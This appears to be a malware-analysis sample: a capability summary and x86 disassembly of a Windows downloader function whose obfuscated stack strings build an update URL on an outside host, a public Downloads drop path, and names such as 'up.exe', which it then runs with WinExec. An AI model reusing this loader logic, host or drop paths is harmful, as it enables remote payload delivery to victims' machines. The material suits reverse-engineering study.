Function at 0x4017d0
Capabilities:
Accept command line arguments
Check mutex on windows
Contain obfuscated stackstrings
Copy file
Create process on windows
Get disk information
Get file attributes
Identify system language via api
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f17d
mov eax, dword fs:[0]
push eax
sub esp, 0x2e0
mov eax, dword [0x427600]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.test
push 1
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x420410
push 0x420404
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push ebx
push 0x1d
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 4], 0xffffffff
cmp esi, ebx
je 0x40184f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40184f
push 0xffffffffffffffff
call fcn.0040c593
lea eax, [ebp - 0x2c8]
push eax
push ebx
mov dword [ebp - 0x40], 0x555c3a43
mov dword [ebp - 0x3c], 0x73726573
mov dword [ebp - 0x38], 0x6275505c
mov dword [ebp - 0x34], 0x5c63696c
mov dword [ebp - 0x30], 0x6e776f44
mov dword [ebp - 0x2c], 0x64616f6c
mov word [ebp - 0x28], 0x5c73
mov byte [ebp - 0x26], bl
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea ecx, [ebp - 0x2ec]
push ecx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x3b2
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x103
lea edx, [ebp - 0x17b]
push ebx
push edx
mov byte [ebp - 0x17c], bl
call fcn.0040c600
add esp, 0xc
call esi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
push 0x4203f8
push 0x4203ec
mov dword [ebp - 0x24], 0x64257325
mov dword [ebp - 0x20], 0x676e702e
mov byte [ebp - 0x1c], bl
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x2ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0x8c1
call esi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0x4203e8
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x4203dc
call esi
mov edi, dword [sym.imp.USER32.dll_SetWindowTextA]
push eax
call edi
push ebx
push ebx
push ebx
push ebx
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x4203d0
mov dword [ebp - 0x60], 0x70747468
mov dword [ebp - 0x5c], 0x612f2f3a
mov dword [ebp - 0x58], 0x72647269
mov dword [ebp - 0x54], 0x68656d6f
mov dword [ebp - 0x50], 0x782e6275
mov dword [ebp - 0x4c], 0x752f7a79
mov dword [ebp - 0x48], 0x74616470
mov word [ebp - 0x44], 0x2f65
mov byte [ebp - 0x42], bl
push 0x4203c8
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0x4203b8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 1
push 0x4203b0
push 0x4203a4
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x42039c
call esi
push eax
call edi
lea ecx, [ebp - 0x2c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 2
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x17c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x2c4]
push edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push ebx
push 0x1d93
push 0x42
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0x420394
call esi
push eax
call edi
push 0x42038c
call esi
push eax
call edi
push 0x27c
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0xffffffffffffffeb
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov dword [ebp - 0x78], 0x4c736552
mov dword [ebp - 0x74], 0x642e6269
mov word [ebp - 0x70], 0x6c6c
mov byte [ebp - 0x6e], bl
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push ebx
push 0x100
lea eax, [ebp - 0x27c]
push eax
push ebx
push 0x39e3
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push 0xc8
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push 0x22f2
push 0x63
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
call dword [sym.imp.KERNEL32.dll_GetACP]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x2a0], 0xf
mov dword [ebp - 0x2a4], ebx
mov byte [ebp - 0x2b4], bl
lea eax, [ebp - 0x40]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401ae7
sub eax, ecx
push eax
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x2b4]
call fcn.00401570
lea eax, [ebp - 0x17c]
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x284], 0xf
mov dword [ebp - 0x288], ebx
mov byte [ebp - 0x298], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401b26
sub eax, edx
push eax
lea edx, [ebp - 0x17c]
push edx
lea ecx, [ebp - 0x298]
call fcn.00401570
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x2b4]
push ecx
lea edx, [ebp - 0x298]
push edx
mov byte [ebp - 4], 0x13
call fcn.004024b0
add esp, 0xc
test al, al
sete byte [ebp - 0x2e5]
cmp dword [ebp - 0x284], 0x10
jb 0x401b81
mov eax, dword [ebp - 0x298]
push eax
call fcn.0040b76f
add esp, 4
cmp dword [ebp - 0x2a0], 0x10
mov dword [ebp - 0x284], 0xf
mov dword [ebp - 0x288], ebx
mov byte [ebp - 0x298], bl
mov dword [ebp - 4], 0xffffffff
jb 0x401bb6
mov ecx, dword [ebp - 0x2b4]
push ecx
call fcn.0040b76f
add esp, 4
cmp byte [ebp - 0x2e5], bl
je 0x401bc4
push ebx
call fcn.0040c593
push 0xfa1
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x17c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x664
call esi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
lea edx, [ebp - 0x2c4]
push edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [ebp - 0x2c4]
push eax
mov dword [ebp - 0x6c], 0x666e6f63
mov dword [ebp - 0x68], 0x692e6769
mov word [ebp - 0x64], 0x696e
mov byte [ebp - 0x62], bl
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x2a0], 0xf
mov dword [ebp - 0x2a4], ebx
mov byte [ebp - 0x2b4], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401c50
sub eax, ecx
push eax
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x2b4]
call fcn.00401570
lea eax, [ebp - 0x17c]
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x284], 0xf
mov dword [ebp - 0x288], ebx
mov byte [ebp - 0x298], bl
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401c90
sub eax, edx
push eax
lea edx, [ebp - 0x17c]
push edx
lea ecx, [ebp - 0x298]
call fcn.00401570
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x2b4]
push ecx
lea edx, [ebp - 0x298]
push edx
mov byte [ebp - 4], 0x1b
call fcn.004024b0
add esp, 0xc
test al, al
sete byte [ebp - 0x2e5]
cmp dword [ebp - 0x284], 0x10
jb 0x401ceb
mov eax, dword [ebp - 0x298]
push eax
call fcn.0040b76f
add esp, 4
cmp dword [ebp - 0x2a0], 0x10
mov dword [ebp - 0x284], 0xf
mov dword [ebp - 0x288], ebx
mov byte [ebp - 0x298], bl
mov dword [ebp - 4], 0xffffffff
jb 0x401d20
mov ecx, dword [ebp - 0x2b4]
push ecx
call fcn.0040b76f
add esp, 4
cmp byte [ebp - 0x2e5], bl
je 0x401d2e
push ebx
call fcn.0040c593
push 0x30e
mov dword [ebp - 0x18], 0x652e7075
mov word [ebp - 0x14], 0x6578
mov byte [ebp - 0x12], bl
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push 0x63
push 0x4f
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 1
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x17c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebx
push 0x56
push 0xd
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x2a0], 0xf
mov dword [ebp - 0x2a4], ebx
mov byte [ebp - 0x2b4], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401dc0
sub eax, ecx
push eax
lea edx, [ebp - 0x40]
push edx
lea ecx, [ebp - 0x2b4]
call fcn.00401570
lea eax, [ebp - 0x17c]
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x284], 0xf
mov dword [ebp - 0x288], ebx
mov byte [ebp - 0x298], bl
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401e00
sub eax, edx
push eax
lea eax, [ebp - 0x17c]
push eax
lea ecx, [ebp - 0x298]
call fcn.00401570
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x2b4]
push edx
lea eax, [ebp - 0x298]
push eax
mov byte [ebp - 4], 0x23
call fcn.004024b0
add esp, 0xc
test al, al
sete byte [ebp - 0x2e5]
cmp dword [ebp - 0x284], 0x10
jb 0x401e5b
mov ecx, dword [ebp - 0x298]
push ecx
call fcn.0040b76f
add esp, 4
cmp dword [ebp - 0x2a0], 0x10
mov dword [ebp - 0x284], 0xf
mov dword [ebp - 0x288], ebx
mov byte [ebp - 0x298], bl
mov dword [ebp - 4], 0xffffffff
jb 0x401e90
mov edx, dword [ebp - 0x2b4]
push edx
call fcn.0040b76f
add esp, 4
cmp byte [ebp - 0x2e5], bl
je 0x401e9e
push ebx
call fcn.0040c593
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x2e4]
call fcn.00401790
push ebx
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0x26
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401ec8
sub eax, edx
push eax
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x2e4]
call fcn.00401670
lea edx, [ebp - 0x2ec]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0x420380
call esi
push eax
call edi
push 0x420374
call esi
push eax
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x2c4]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [ebp - 0x2d0], 0x10
mov eax, dword [ebp - 0x2e4]
jae 0x401f46
lea eax, [ebp - 0x2e4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 1
push 0x420364
push 0x42035c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 4
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
call fcn.0040c593
int3